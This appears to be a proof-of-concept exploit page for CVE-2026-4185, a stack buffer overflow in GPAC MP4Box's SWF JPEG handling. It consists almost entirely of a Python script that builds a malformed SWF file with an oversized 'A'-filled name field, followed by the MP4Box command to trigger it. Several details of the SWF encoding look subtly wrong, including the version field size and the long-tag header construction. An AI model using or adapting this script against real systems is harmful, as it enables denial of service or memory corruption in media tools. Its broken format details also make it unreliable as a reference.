GPAC MP4Box swf_def_bits_jpeg栈缓冲区溢出漏洞 (CVE-2026-4185)

import struct import os def create_malicious_swf(): """ PoC for CVE-2026-4185: GPAC MP4Box swf_def_bits_jpeg Stack Buffer Overflow This PoC creates a malicious SWF file that triggers stack buffer overflow in swf_def_bits_jpeg function via oversized szName parameter. """ # SWF Header swf_header = b'FWS' # SWF signature swf_header += struct.pack('<I', 1000) # Version swf_header += struct.pack('<I', 100000) # File length # Create oversized szName to trigger overflow # The szName field in SWF is copied to stack buffer without proper bounds checking overflow_size = 1024 # Larger than typical stack buffer malicious_szName = b'A' * overflow_size + b'\x00' # Construct SWF tag for DefineBitsJPEG tag_type = 0x15 # DefineBitsJPEG tag type tag_length = len(malicious_szName) + 10 # Tag header tag_header = struct.pack('<H', (tag_type << 6) | (tag_length & 0x3F)) if tag_length > 0x3F: tag_header += struct.pack('>I', tag_length) # Character ID character_id = struct.pack('<H', 1) # Malicious data malicious_data = malicious_szName # Combine all parts poc_swf = swf_header + tag_header + character_id + malicious_data # Write PoC file with open('CVE-2026-4185_poc.swf', 'wb') as f: f.write(poc_swf) print(f"[+] Created PoC file: CVE-2026-4185_poc.swf ({len(poc_swf)} bytes)") print(f"[+] Overflow payload size: {overflow_size} bytes") print("[+] Usage: MP4Box -avi 2 -out test.avi CVE-2026-4185_poc.swf") if __name__ == '__main__': create_malicious_swf()